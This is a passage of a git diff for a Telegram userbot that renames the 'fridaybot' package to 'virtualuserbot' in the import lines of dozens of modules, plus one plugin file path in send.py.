ALIVE_NAME, CUSTOM_PMPERMIT, lang -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot import ALIVE_NAME, CUSTOM_PMPERMIT, lang +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest diff --git a/virtualuserbot/modules/pokedex.py b/virtualuserbot/modules/pokedex.py index f7ba7122..122a2b9b 100644 --- a/virtualuserbot/modules/pokedex.py +++ b/virtualuserbot/modules/pokedex.py @@ -11,8 +11,8 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from pokedex import pokedex diff --git a/virtualuserbot/modules/police.py b/virtualuserbot/modules/police.py index 37805065..26a17694 100644 --- a/virtualuserbot/modules/police.py +++ b/virtualuserbot/modules/police.py @@ -1,6 +1,6 @@ import asyncio -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from uniborg.util import friday_on_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Friday Userbot" diff --git a/virtualuserbot/modules/porn.py b/virtualuserbot/modules/porn.py index b487a7d7..de91c096 100644 --- a/virtualuserbot/modules/porn.py +++ b/virtualuserbot/modules/porn.py @@ -8,7 +8,7 @@ import asyncio -from fridaybot import pro +from virtualuserbot import pro from ..utils import admin_cmd diff --git a/virtualuserbot/modules/poto.py b/virtualuserbot/modules/poto.py index 06b25823..bb4a7227 100644 --- a/virtualuserbot/modules/poto.py +++ b/virtualuserbot/modules/poto.py @@ -5,8 +5,8 @@ import logging -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd logger = logging.getLogger(__name__) diff --git a/virtualuserbot/modules/power_tools.py b/virtualuserbot/modules/power_tools.py index e1124b1f..94be4701 100644 --- a/virtualuserbot/modules/power_tools.py +++ b/virtualuserbot/modules/power_tools.py @@ -8,8 +8,8 @@ import os import sys -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("restart")) diff --git a/virtualuserbot/modules/privatewelcome.py b/virtualuserbot/modules/privatewelcome.py index f8f6f652..5c86bbdb 100644 --- a/virtualuserbot/modules/privatewelcome.py +++ b/virtualuserbot/modules/privatewelcome.py @@ -1,4 +1,4 @@ -from fridaybot import BOTLOG_CHATID, CMD_HELP, bot, pro +from virtualuserbot import BOTLOG_CHATID, CMD_HELP, bot, pro from telethon import events from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/pro_nub.py b/virtualuserbot/modules/pro_nub.py index af76bdaf..8e095769 100644 --- a/virtualuserbot/modules/pro_nub.py +++ b/virtualuserbot/modules/pro_nub.py @@ -10,8 +10,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("(.*)")) diff --git a/virtualuserbot/modules/profile.py b/virtualuserbot/modules/profile.py index 822323a5..6889c4db 100644 --- a/virtualuserbot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -4,7 +4,7 @@ .ppic""" import os -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl import functions from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/programmer_jokes.py b/virtualuserbot/modules/programmer_jokes.py index b313f4b9..45c6a730 100644 --- a/virtualuserbot/modules/programmer_jokes.py +++ b/virtualuserbot/modules/programmer_jokes.py @@ -12,8 +12,8 @@ # along with this program. If not, see . import pyjokes -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from howdoi import howdoi diff --git a/virtualuserbot/modules/proxyscrape.py b/virtualuserbot/modules/proxyscrape.py index 73c47b21..0c2d6a80 100644 --- a/virtualuserbot/modules/proxyscrape.py +++ b/virtualuserbot/modules/proxyscrape.py @@ -6,8 +6,8 @@ import os -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from pySmartDL import SmartDL STARK_HTTP = "https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all" diff --git a/virtualuserbot/modules/purge.py b/virtualuserbot/modules/purge.py index 5aa9c006..0cbc79f7 100644 --- a/virtualuserbot/modules/purge.py +++ b/virtualuserbot/modules/purge.py @@ -7,8 +7,8 @@ from asyncio import sleep -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import errors_handler, register +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.utils import errors_handler, register from telethon.errors import rpcbaseerrors diff --git a/virtualuserbot/modules/pyocr.py b/virtualuserbot/modules/pyocr.py index 45643f97..4e7da6a4 100644 --- a/virtualuserbot/modules/pyocr.py +++ b/virtualuserbot/modules/pyocr.py @@ -6,9 +6,9 @@ import os import pytesseract -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="read$")) diff --git a/virtualuserbot/modules/qr_code.py b/virtualuserbot/modules/qr_code.py index 96e65c6a..d35fc775 100644 --- a/virtualuserbot/modules/qr_code.py +++ b/virtualuserbot/modules/qr_code.py @@ -8,7 +8,7 @@ import qrcode from bs4 import BeautifulSoup -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/quickheal.py b/virtualuserbot/modules/quickheal.py index 9ace9bec..ba66f676 100644 --- a/virtualuserbot/modules/quickheal.py +++ b/virtualuserbot/modules/quickheal.py @@ -7,7 +7,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/quote.py b/virtualuserbot/modules/quote.py index 14314623..ca4ec26a 100644 --- a/virtualuserbot/modules/quote.py +++ b/virtualuserbot/modules/quote.py @@ -12,8 +12,8 @@ # along with this program. If not, see . -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from quote import quote diff --git a/virtualuserbot/modules/quotes.py b/virtualuserbot/modules/quotes.py index 0ffffce7..57ea14be 100644 --- a/virtualuserbot/modules/quotes.py +++ b/virtualuserbot/modules/quotes.py @@ -1,7 +1,7 @@ import random import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/quotly.py b/virtualuserbot/modules/quotly.py index 0b52cd33..be2ee7a8 100644 --- a/virtualuserbot/modules/quotly.py +++ b/virtualuserbot/modules/quotly.py @@ -21,8 +21,8 @@ import emoji from fontTools.ttLib import TTFont -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/rain.py b/virtualuserbot/modules/rain.py index 80a5a97b..c2e37c90 100644 --- a/virtualuserbot/modules/rain.py +++ b/virtualuserbot/modules/rain.py @@ -2,7 +2,7 @@ import asyncio from collections import deque -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/react.py b/virtualuserbot/modules/react.py index 120d1c3b..79aeafb7 100644 --- a/virtualuserbot/modules/react.py +++ b/virtualuserbot/modules/react.py @@ -4,7 +4,7 @@ import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/reminder.py b/virtualuserbot/modules/reminder.py index 3219ce96..66102c46 100644 --- a/virtualuserbot/modules/reminder.py +++ b/virtualuserbot/modules/reminder.py @@ -3,7 +3,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/remove.bg.py b/virtualuserbot/modules/remove.bg.py index f446a2cb..bc0df4e6 100644 --- a/virtualuserbot/modules/remove.bg.py +++ b/virtualuserbot/modules/remove.bg.py @@ -20,8 +20,8 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("rmbg ?(.*)")) diff --git a/virtualuserbot/modules/rename.py b/virtualuserbot/modules/rename.py index 2f955bc1..1423df34 100644 --- a/virtualuserbot/modules/rename.py +++ b/virtualuserbot/modules/rename.py @@ -7,7 +7,7 @@ import time from datetime import datetime -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/repeat.py b/virtualuserbot/modules/repeat.py index 9ef79629..86808215 100644 --- a/virtualuserbot/modules/repeat.py +++ b/virtualuserbot/modules/repeat.py @@ -1,7 +1,7 @@ from asyncio import wait -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("repeat ?(.*)")) diff --git a/virtualuserbot/modules/reveal.py b/virtualuserbot/modules/reveal.py index 22842dfa..c4effab6 100644 --- a/virtualuserbot/modules/reveal.py +++ b/virtualuserbot/modules/reveal.py @@ -6,7 +6,7 @@ # import os -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/reverse.py b/virtualuserbot/modules/reverse.py index cf29e9c5..c1a0d315 100644 --- a/virtualuserbot/modules/reverse.py +++ b/virtualuserbot/modules/reverse.py @@ -11,8 +11,8 @@ import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP, bot -from fridaybot.utils import errors_handler, friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import errors_handler, friday_on_cmd from PIL import Image opener = urllib.request.build_opener() diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index a54ea60e..a802d34d 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -14,8 +14,8 @@ import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP, bot -from fridaybot.utils import errors_handler, register +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import errors_handler, register from PIL import Image opener = urllib.request.build_opener() diff --git a/virtualuserbot/modules/sangmata.py b/virtualuserbot/modules/sangmata.py index 22704dcf..9a476df8 100644 --- a/virtualuserbot/modules/sangmata.py +++ b/virtualuserbot/modules/sangmata.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/schd.py b/virtualuserbot/modules/schd.py index c7d0b639..8b306966 100644 --- a/virtualuserbot/modules/schd.py +++ b/virtualuserbot/modules/schd.py @@ -2,8 +2,8 @@ Syntax: .schd ;=; """ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("schd ?(.*)")) diff --git a/virtualuserbot/modules/screencapture.py b/virtualuserbot/modules/screencapture.py index 0e1e592d..b678eab3 100644 --- a/virtualuserbot/modules/screencapture.py +++ b/virtualuserbot/modules/screencapture.py @@ -4,8 +4,8 @@ import io import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("screencapture (.*)")) diff --git a/virtualuserbot/modules/screenlong.py b/virtualuserbot/modules/screenlong.py index 22036f0d..06980516 100644 --- a/virtualuserbot/modules/screenlong.py +++ b/virtualuserbot/modules/screenlong.py @@ -5,8 +5,8 @@ import traceback from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from selenium import webdriver diff --git a/virtualuserbot/modules/screenshot.py b/virtualuserbot/modules/screenshot.py index 53e20f81..8fc4783a 100644 --- a/virtualuserbot/modules/screenshot.py +++ b/virtualuserbot/modules/screenshot.py @@ -7,7 +7,7 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from selenium import webdriver from validators.url import url diff --git a/virtualuserbot/modules/selfdestruct.py b/virtualuserbot/modules/selfdestruct.py index 043a67b8..a869ac28 100644 --- a/virtualuserbot/modules/selfdestruct.py +++ b/virtualuserbot/modules/selfdestruct.py @@ -7,8 +7,8 @@ import time -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("sd", outgoing=True)) diff --git a/virtualuserbot/modules/send.py b/virtualuserbot/modules/send.py index 86066a96..bd94343b 100644 --- a/virtualuserbot/modules/send.py +++ b/virtualuserbot/modules/send.py @@ -1,8 +1,8 @@ import asyncio from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd fridaythumb = "./resources/IMG_20200929_103719_628.jpg" @@ -15,7 +15,7 @@ async def send(event): message_id = event.message.id input_str = event.pattern_match.group(1) start = datetime.now() - the_plugin_file = "./fridaybot/modules/{}.py".format(input_str) + the_plugin_file = "./virtualuserbot/modules/{}.py".format(input_str) end = datetime.now() (end - start).seconds men = f"Plugin Name - {input_str}.py \nUploaded By VirtualUserbot" diff --git a/virtualuserbot/modules/seotools.py b/virtualuserbot/modules/seotools.py index e602ea2f..d0b357c2 100644 --- a/virtualuserbot/modules/seotools.py +++ b/virtualuserbot/modules/seotools.py @@ -1,7 +1,7 @@ import os -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="seo (.*)")) diff --git a/virtualuserbot/modules/shout.py b/virtualuserbot/modules/shout.py index 4deff41b..a0c13f60 100644 --- a/virtualuserbot/modules/shout.py +++ b/virtualuserbot/modules/shout.py @@ -3,7 +3,7 @@ originaly from : @corsicanu_bot """ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/sizeresize.py b/virtualuserbot/modules/sizeresize.py index 30cf8d17..c862b3ca 100644 --- a/virtualuserbot/modules/sizeresize.py +++ b/virtualuserbot/modules/sizeresize.py @@ -1,9 +1,9 @@ import os import PIL -from fridaybot import bot -from fridaybot import bot as borg -from fridaybot.utils import admin_cmd +from virtualuserbot import bot +from virtualuserbot import bot as borg +from virtualuserbot.utils import admin_cmd from ..utils import admin_cmd diff --git a/virtualuserbot/modules/slap.py b/virtualuserbot/modules/slap.py index 05921e6c..7243ba0a 100644 --- a/virtualuserbot/modules/slap.py +++ b/virtualuserbot/modules/slap.py @@ -6,7 +6,7 @@ import random -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/snake.py b/virtualuserbot/modules/snake.py index 1340fc56..de3dc780 100644 --- a/virtualuserbot/modules/snake.py +++ b/virtualuserbot/modules/snake.py @@ -12,7 +12,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/snip.py b/virtualuserbot/modules/snip.py index 0beffbf8..07fc935b 100644 --- a/virtualuserbot/modules/snip.py +++ b/virtualuserbot/modules/snip.py @@ -6,14 +6,14 @@ .snips .snipl .snipd""" -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.snips_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, get_all_snips, get_snips, remove_snip, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon import events, utils from telethon.tl import types diff --git a/virtualuserbot/modules/solarsystem.py b/virtualuserbot/modules/solarsystem.py index d41deb72..fa6ce1b3 100644 --- a/virtualuserbot/modules/solarsystem.py +++ b/virtualuserbot/modules/solarsystem.py @@ -7,7 +7,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/something.py b/virtualuserbot/modules/something.py index f3a4509c..22bbf707 100644 --- a/virtualuserbot/modules/something.py +++ b/virtualuserbot/modules/something.py @@ -1,6 +1,6 @@ """ Whatever Plugin by Noobs of Telegram i.e. @pureindialover """ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/song.py b/virtualuserbot/modules/song.py index 85fc57da..f5d001ff 100644 --- a/virtualuserbot/modules/song.py +++ b/virtualuserbot/modules/song.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/songs.py b/virtualuserbot/modules/songs.py index 97ba41a5..d18e7abe 100644 --- a/virtualuserbot/modules/songs.py +++ b/virtualuserbot/modules/songs.py @@ -8,7 +8,7 @@ import os import re -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, diff --git a/virtualuserbot/modules/spacedp.py b/virtualuserbot/modules/spacedp.py index 88ee9919..2240a6d2 100644 --- a/virtualuserbot/modules/spacedp.py +++ b/virtualuserbot/modules/spacedp.py @@ -5,8 +5,8 @@ import urllib import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl import functions # Space lovers diff --git a/virtualuserbot/modules/spam.py b/virtualuserbot/modules/spam.py index a4d38e54..2cc7254c 100644 --- a/virtualuserbot/modules/spam.py +++ b/virtualuserbot/modules/spam.py @@ -3,8 +3,8 @@ # included both cas(combot antispam service) and spamwatch (need to add more feaututres) import spamwatch -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS -from fridaybot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS +from virtualuserbot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned from requests import get from telethon import events from telethon.errors import ChatAdminRequiredError diff --git a/virtualuserbot/modules/speedtest.py b/virtualuserbot/modules/speedtest.py index 32d8cbd7..3ee475d6 100644 --- a/virtualuserbot/modules/speedtest.py +++ b/virtualuserbot/modules/speedtest.py @@ -4,8 +4,8 @@ from datetime import datetime import speedtest -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("speedtest ?(.*)")) diff --git a/virtualuserbot/modules/sql_helper/PostAppender_sql.py b/virtualuserbot/modules/sql_helper/PostAppender_sql.py index 16f07e0a..550e08d7 100644 --- a/virtualuserbot/modules/sql_helper/PostAppender_sql.py +++ b/virtualuserbot/modules/sql_helper/PostAppender_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, String, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/blacklist_sql.py b/virtualuserbot/modules/sql_helper/blacklist_sql.py index b27faf93..fa569ebd 100644 --- a/virtualuserbot/modules/sql_helper/blacklist_sql.py +++ b/virtualuserbot/modules/sql_helper/blacklist_sql.py @@ -1,6 +1,6 @@ import threading -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String, UnicodeText, distinct, func diff --git a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py index 00f21157..92d55b7b 100644 --- a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py +++ b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/echo_sql.py b/virtualuserbot/modules/sql_helper/echo_sql.py index bf9ac48c..0ef327ef 100644 --- a/virtualuserbot/modules/sql_helper/echo_sql.py +++ b/virtualuserbot/modules/sql_helper/echo_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String diff --git a/virtualuserbot/modules/sql_helper/feds_sql.py b/virtualuserbot/modules/sql_helper/feds_sql.py index e08f3a19..6eabbb9c 100644 --- a/virtualuserbot/modules/sql_helper/feds_sql.py +++ b/virtualuserbot/modules/sql_helper/feds_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/filter_sql.py b/virtualuserbot/modules/sql_helper/filter_sql.py index 04a061e6..09130fa1 100644 --- a/virtualuserbot/modules/sql_helper/filter_sql.py +++ b/virtualuserbot/modules/sql_helper/filter_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, LargeBinary, Numeric, String, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/floodsql.py b/virtualuserbot/modules/sql_helper/floodsql.py index 4f6d9b98..7cbb8c2a 100644 --- a/virtualuserbot/modules/sql_helper/floodsql.py +++ b/virtualuserbot/modules/sql_helper/floodsql.py @@ -1,6 +1,6 @@ import threading -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, Integer, String DEF_COUNT = 0 diff --git a/virtualuserbot/modules/sql_helper/globelmute_sql.py b/virtualuserbot/modules/sql_helper/globelmute_sql.py index a38a57c9..df4a54da 100644 --- a/virtualuserbot/modules/sql_helper/globelmute_sql.py +++ b/virtualuserbot/modules/sql_helper/globelmute_sql.py @@ -1,7 +1,7 @@ # From Javes 05 Userbot ( For Gmute Plugin ) For Test ( I know I have it already but Wait Let Me Do Test ) try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise AttributeError diff --git a/virtualuserbot/modules/sql_helper/gmute_sql.py b/virtualuserbot/modules/sql_helper/gmute_sql.py index 22b21b9d..cdaa2947 100644 --- a/virtualuserbot/modules/sql_helper/gmute_sql.py +++ b/virtualuserbot/modules/sql_helper/gmute_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") diff --git a/virtualuserbot/modules/sql_helper/locks_sql.py b/virtualuserbot/modules/sql_helper/locks_sql.py index 710b36c7..a94e5f86 100644 --- a/virtualuserbot/modules/sql_helper/locks_sql.py +++ b/virtualuserbot/modules/sql_helper/locks_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, String diff --git a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py index 8899d99c..9aba5308 100644 --- a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py +++ b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, Numeric, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/mute_sql.py b/virtualuserbot/modules/sql_helper/mute_sql.py index 5c59525d..641c01af 100644 --- a/virtualuserbot/modules/sql_helper/mute_sql.py +++ b/virtualuserbot/modules/sql_helper/mute_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") diff --git a/virtualuserbot/modules/sql_helper/notes_sql.py b/virtualuserbot/modules/sql_helper/notes_sql.py index 943c1def..a1e2eb18 100644 --- a/virtualuserbot/modules/sql_helper/notes_sql.py +++ b/virtualuserbot/modules/sql_helper/notes_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") from sqlalchemy import Column, String, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/pmpermit_sql.py b/virtualuserbot/modules/sql_helper/pmpermit_sql.py index fdf3c482..98c89d4a 100644 --- a/virtualuserbot/modules/sql_helper/pmpermit_sql.py +++ b/virtualuserbot/modules/sql_helper/pmpermit_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, String diff --git a/virtualuserbot/modules/sql_helper/snips_sql.py b/virtualuserbot/modules/sql_helper/snips_sql.py index 522e040c..7c8471ca 100644 --- a/virtualuserbot/modules/sql_helper/snips_sql.py +++ b/virtualuserbot/modules/sql_helper/snips_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Column, LargeBinary, Numeric, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/warns_sql.py b/virtualuserbot/modules/sql_helper/warns_sql.py index adcc4e5a..99c7d4c2 100644 --- a/virtualuserbot/modules/sql_helper/warns_sql.py +++ b/virtualuserbot/modules/sql_helper/warns_sql.py @@ -1,6 +1,6 @@ import threading -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func from sqlalchemy.dialects import postgresql diff --git a/virtualuserbot/modules/sql_helper/welcome_sql.py b/virtualuserbot/modules/sql_helper/welcome_sql.py index 8fa8a899..3e7d5514 100644 --- a/virtualuserbot/modules/sql_helper/welcome_sql.py +++ b/virtualuserbot/modules/sql_helper/welcome_sql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Boolean, Column, String, UnicodeText diff --git a/virtualuserbot/modules/sql_helper/welcomesql.py b/virtualuserbot/modules/sql_helper/welcomesql.py index b2503711..3a059d76 100644 --- a/virtualuserbot/modules/sql_helper/welcomesql.py +++ b/virtualuserbot/modules/sql_helper/welcomesql.py @@ -1,4 +1,4 @@ -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText diff --git a/virtualuserbot/modules/ssvideo.py b/virtualuserbot/modules/ssvideo.py index e9119688..2d0d56ec 100644 --- a/virtualuserbot/modules/ssvideo.py +++ b/virtualuserbot/modules/ssvideo.py @@ -8,9 +8,9 @@ import os import time -from fridaybot import CMD_HELP, bot -from fridaybot.events import register -from fridaybot.function import progress +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.events import register +from virtualuserbot.function import progress from telethon.tl.types import DocumentAttributeFilename diff --git a/virtualuserbot/modules/stats.py b/virtualuserbot/modules/stats.py index 94e1d4ad..c265baba 100644 --- a/virtualuserbot/modules/stats.py +++ b/virtualuserbot/modules/stats.py @@ -1,6 +1,6 @@ from datetime import datetime -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from telethon.tl.types import Channel, Chat, User from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/steganography.py b/virtualuserbot/modules/steganography.py index 5ec0bd6f..367b94b3 100644 --- a/virtualuserbot/modules/steganography.py +++ b/virtualuserbot/modules/steganography.py @@ -1,8 +1,8 @@ import os from cryptosteganography import CryptoSteganography -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from telethon.tl.types import MessageMediaPhoto sedpath = "./fridaydevs/" diff --git a/virtualuserbot/modules/stickcreater.py b/virtualuserbot/modules/stickcreater.py index 